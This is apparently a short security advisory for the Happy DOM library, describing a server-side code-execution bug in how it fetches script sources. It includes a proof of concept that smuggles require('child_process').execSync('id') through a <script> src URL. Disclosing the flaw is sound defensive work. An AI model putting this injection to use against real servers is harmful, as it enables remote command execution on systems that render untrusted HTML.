Security vulnerability that allows for scripts to execute on the server

[capricorn86]

Thank you @kevin-mizu for finding this vulnerability!

This code snippet shows how it is possible to inject a server-side script into the "src" of a <script> tag. As Happy DOM uses child_process.execFileSync() in order to perform the fetch synchronous, the script could be injected by escaping from the URL string.

const { Window } = require("happy-dom");

const window = new Window();
const document = window.document;
    
document.write(`<script src="https://localhost:8080/'+require('child_process').execSync('id')+'"></script>`);